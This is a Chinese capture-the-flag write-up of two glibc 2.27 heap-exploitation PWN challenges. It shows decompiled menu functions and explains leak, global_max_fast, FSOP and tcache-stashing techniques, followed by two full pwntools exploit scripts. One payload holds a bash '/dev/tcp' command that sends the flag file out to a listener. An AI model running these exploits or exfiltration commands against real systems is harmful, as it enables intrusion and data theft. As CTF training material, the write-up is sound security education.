前几天跟着看了几场比赛的题,有两道PWN题印象很深刻,只有一次堆溢出写,限制很多,在这里分享一下思路。
比较典型的菜单题,堆块添加部分只能添加0x80
及以上大小的堆块,只能用calloc分配。给一个小sz的堆块会改成0x80,但是注意此时在sz_list[idx]
填的值仍为开始的sz。
unsigned __int64 __fastcall add(__int64 a1, __int64 a2) { int v2; // ebx _QWORD *v3; // rax unsigned __int64 v4; // rax unsigned __int64 sz; // rbp size_t v6; // rdi void *chunk_addr; // rax unsigned __int64 v9; // [rsp+8h] [rbp-20h] v2 = 0; v9 = __readfsqword(0x28u); v3 = qword_4080; while ( *v3 ) { v3 += 2; v2 += 2; if ( &qword_4080[0x14] == v3 ) exit_0(); } puts("Can U tell me the len of note?"); v4 = get_int(); sz = v4; if ( v4 <= 0x7F ) { v6 = 0x80LL; goto LABEL_7; } v6 = v4; if ( v4 <= 0x2333 ) { LABEL_7: chunk_addr = calloc(v6, 1uLL); ++qword_4058; qword_4080[v2] = chunk_addr; qword_4080[v2 + 1] = sz; } return __readfsqword(0x28u) ^ v9; }
view
只能用一次,当查看的对象的sz小于0x500时,调用malloc(0x500)
分配一个chunk并且把目标堆块内容拷贝过去并输出。这里可以使用add(0)
使得某个sz_list[idx]
为0,从而拷贝了个寂寞,输出malloc的堆块的内容。
unsigned __int64 __fastcall view(__int64 a1, __int64 a2) { unsigned __int64 v2; // rax signed __int64 v3; // rbp const void *init_chunk; // r12 signed __int64 sz; // r13 void *malloc_chunk; // r14 unsigned __int64 result; // rax size_t v8; // rdx unsigned __int64 v9; // [rsp+8h] [rbp-30h] v9 = __readfsqword(0x28u); qword_4060 = 1LL; puts("Which note U want to view?"); v2 = get_int(); v3 = 2 * v2; init_chunk = (const void *)qword_4080[2 * v2]; if ( v2 > 9 || !init_chunk ) return __readfsqword(0x28u) ^ v9; sz = qword_4080[2 * v2 + 1]; if ( sz > 0x4FF ) { v8 = strlen((const char *)qword_4080[2 * v2]); result = write(1, init_chunk, v8); } else { malloc_chunk = malloc(0x500uLL); memcpy(malloc_chunk, init_chunk, sz); printf("Here is U2 note:", init_chunk); result = write(1, malloc_chunk, (unsigned int)(SLOBYTE(qword_4080[v3]) + 1)); } return result; }
edit
可以溢出写0x18个字节,delete正常删除并清空bss的数据。
int edit() { unsigned __int64 v0; // rax void *v1; // rbp __int64 v2; // rbx if ( qword_4068 ) { puts("U can no longer modify"); exit_0(); } qword_4068 = 1LL; puts("Which note U want to fill in?"); v0 = get_int(); v1 = (void *)qword_4080[2 * v0]; v2 = qword_4080[2 * v0 + 1]; if ( v1 == 0LL || v0 > 9 || !v2 ) return puts("the ptr is null"); puts("Hey,Plz input U2 note"); return sub_1440(v1, v2 + 0x18); }
目标系统是18.04,首先分配一个块,释放后把它摁进large bin,完事儿调用view的malloc得到这个块,memecpy的sz为0即可泄露出堆地址和libc地址。
由于只有一次溢出写,我们先用溢出写一个unsorted bin的bk,改为global_max_fast-0x10,从而让近乎所有大小的堆块都按照fastbin处理。随后释放某个sz
的堆块,让_IO_list_all
写入这个堆地址,原理是fastbin堆块的头指针会存放到main_arena->fastbinsY[10]
,由于我们改了global_max_fast
,大于0x80的堆块释放后也会依次放到fastbinY后面的地址处,计算这样一个sz出来,这里是0x1438
,分配的堆块最大为0x2333,因此在合法范围内。释放后即可改_IO_list_all。在glibc 2.24后有一套IO攻击的技巧,详情可以参考glibc 2.24 下 IO_FILE 的利用 ,布置一下布局,主要是在fp+0xe8
处布置system
,fp->_IO_buf_end
布置参数地址,还有几个检查绕一下。这里因为需要exit退出的时候触发,而exit前关闭了0/1/2,所以需要反弹shell,我本地起shell失败了,选择直接把flag输出回来
#coding=utf-8 from pwn import * r = lambda p:p.recv() rl = lambda p:p.recvline() ru = lambda p,x:p.recvuntil(x) rn = lambda p,x:p.recvn(x) rud = lambda p,x:p.recvuntil(x,drop=True) s = lambda p,x:p.send(x) sl = lambda p,x:p.sendline(x) sla = lambda p,x,y:p.sendlineafter(x,y) sa = lambda p,x,y:p.sendafter(x,y) context.update(arch='amd64',os='linux',log_level='DEBUG') context.terminal = ['tmux','split','-h'] debug = 1 elf = ELF('./azez_heap') libc_offset = 0x3c4b20 gadgets = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398] libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') if debug: p = process('./azez_heap') else: p = remote('127.0.0.1',6666) def Add(sz): p.recvuntil('choice:') p.sendline('1') p.recvuntil("Can U tell me the len of note?") p.sendline(str(sz)) def Edit(idx,content): p.recvuntil('choice:') p.sendline('2') p.recvuntil("Which note U want to fill in?") p.sendline(str(idx)) p.recvuntil("Hey,Plz input U2 note") p.send(content) def Delete(idx): p.recvuntil('choice:') p.sendline('3') p.recvuntil("Which note U want to del?") p.sendline(str(idx)) def Show(idx): p.recvuntil('choice:') p.sendline('4') p.recvuntil("Which note U want to view?") p.sendline(str(idx)) def Exit(): p.recvuntil('choice:') p.sendline('5') def exp(): #leak libc Add(0x500)#0 Add(0)#1 Delete(0) Add(0x600)#0 Show(1) p.recvuntil("Here is U2 note:") libc_base = u64(p.recvn(8)) - libc.sym['__malloc_hook'] - 0x10 - 1168 log.success("libc base => " + hex(libc_base)) p.recvn(8) heap_base = u64(p.recvn(8)) - 0x250 log.success("heap base => " + hex(heap_base)) libc.address = libc_base #get shell #binsh_addr = libc.search("/bin/sh").next() binsh_addr = heap_base+0xef0 str_jumps = libc_base + (0x7ffff7dcc360-0x7ffff79e4000) write_data = libc_base + (0x7ffff7dcf8c0-0x7ffff79e4000) Add(0x1438)#2 Add(0x420)#3 Add(0x17)#4 Delete(3) payload = p64(0)*3 payload += p64(1) payload += p64(0) payload += p64((binsh_addr)) payload += p64(0)*4+p64(0)+p64(libc.sym['_IO_2_1_stderr_'])+p64(3)+p64(0)+p64(0)+p64(0)+p64(0)*2+p64(0)+p64(2)+p64(3)+p64(0)+p64(0)+p64(0)*2+p64(str_jumps-8)+p64(0)+p64(libc.sym['system']) payload += "bash -c 'cat ./flag >/dev/tcp/127.0.0.1/1234 0>&1'" payload = payload.ljust(0x1438,'\x00') payload += p64(0x431)+p64(0)+p64(libc_base+(0x7ffff7dd1940-0x7ffff79e4000)-0x10) Edit(2,payload) Add(0x420) Delete(2) #gdb.attach(p) Exit() p.interactive() exp()
这个题的设计和上面很像,不过add时最大的sz大小改成了0x1000,这使得之前的解法直接失效了,不过给了个奇怪的后门函数,可以使用scanf输入大量数据。
unsigned __int64 backdoor() { char v1; // [rsp+0h] [rbp-610h] unsigned __int64 v2; // [rsp+608h] [rbp-8h] v2 = __readfsqword(0x28u); if ( dword_20201C ) { --dword_20201C; __isoc99_scanf("%1535s", &v1); } return __readfsqword(0x28u) ^ v2; }
这里的leak相对更简单,给了两个gift用来输出地址,分别得到堆地址和libc地址。
使用tcache stashing attck将_IO_2_1_stdin_->_IO_buf_end
改成main_arena+x
(我这里是+352),从而可以在scanf的时候输入数据到realloc_hook
和malloc_hook
,改成one_gadget
,调节下偏移即可。
#coding=utf-8 from pwn import * r = lambda p:p.recv() rl = lambda p:p.recvline() ru = lambda p,x:p.recvuntil(x) rn = lambda p,x:p.recvn(x) rud = lambda p,x:p.recvuntil(x,drop=True) s = lambda p,x:p.send(x) sl = lambda p,x:p.sendline(x) sla = lambda p,x,y:p.sendlineafter(x,y) sa = lambda p,x,y:p.sendafter(x,y) context.update(arch='amd64',os='linux',log_level='DEBUG') context.terminal = ['tmux','split','-h'] debug = 1 elf = ELF('./pwn') libc_offset = 0x3c4b20 gadgets = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398] libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') if debug: p = process('./pwn') else: p = remote('120.92.79.217',10001) def Add(idx,sz): p.recvuntil('choice:') p.sendline('1') p.recvuntil("idx:") p.sendline(str(idx)) p.recvuntil("size:") p.sendline(str(sz)) def Edit(idx,content): p.recvuntil('choice:') p.sendline('3') p.recvuntil("idx:") p.sendline(str(idx)) p.recvuntil("content:") p.send(content) def Delete(idx): p.recvuntil('choice:') p.sendline('2') p.recvuntil("idx:") p.sendline(str(idx)) def Show(idx): p.recvuntil('choice:') p.sendline('5') p.recvuntil("idx:") p.sendline(str(idx)) def Gift1(idx): p.recvuntil('choice:') p.sendline('4') p.recvuntil("idx:") p.sendline(str(idx)) def Backdoor(content): p.recvuntil('choice:') p.sendline('6') p.send(content) def exp(): #leak libc Add(0,0x510) Add(1,0x510) Add(16,0x80) Add(2,0x510) Add(15,0x80) Delete(0) Gift1(3)#init 0 p.recvuntil("gift=> 0x") heap_base = int(p.recvuntil("Welc",drop=True),16) - 0x260 log.success("heap base => " + hex(heap_base)) Show(3) p.recvline() libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 1168 log.success("libc base => " + hex(libc_base)) libc.address = libc_base #tcache stashing for i in range(6): Add(4,0x100) Delete(4) Delete(2) Add(4,0x408) Add(5,0x500) Delete(1) Add(2,0x408) Add(6,0x500) target = libc.sym['_IO_2_1_stdin_']+0x40 Edit(2,'a'*0x400+p64(0)+p64(0x111)+p64(heap_base+(0x000055ea00da60a0-0x55ea00da5000))+p64(target-0x10)) Add(8,0x100) payload = '\x00'*5 static_libc = 0x7fc6d768c000 one_gadget = libc_base + gadgets[6] print hex(one_gadget) realloc = libc.sym['realloc'] payload += flat([ libc_base+(0x7fc6d7a798d0-static_libc), 0xffffffffffffffff, 0, libc_base+(0x7fc6d7a77ae0-static_libc), 0,0,0,0xffffffff,0,0,libc_base+(0x7fc6d7a742a0-static_libc), ]) payload += '\x00'*0x130 payload += flat([ libc.sym['_IO_wfile_jumps'], 0, libc_base+(0x7fc6d7723410-static_libc), one_gadget, realloc+8 ]) Backdoor(payload+'\n') #gdb.attach(p,'b calloc') Add(1,0x170) p.interactive() exp()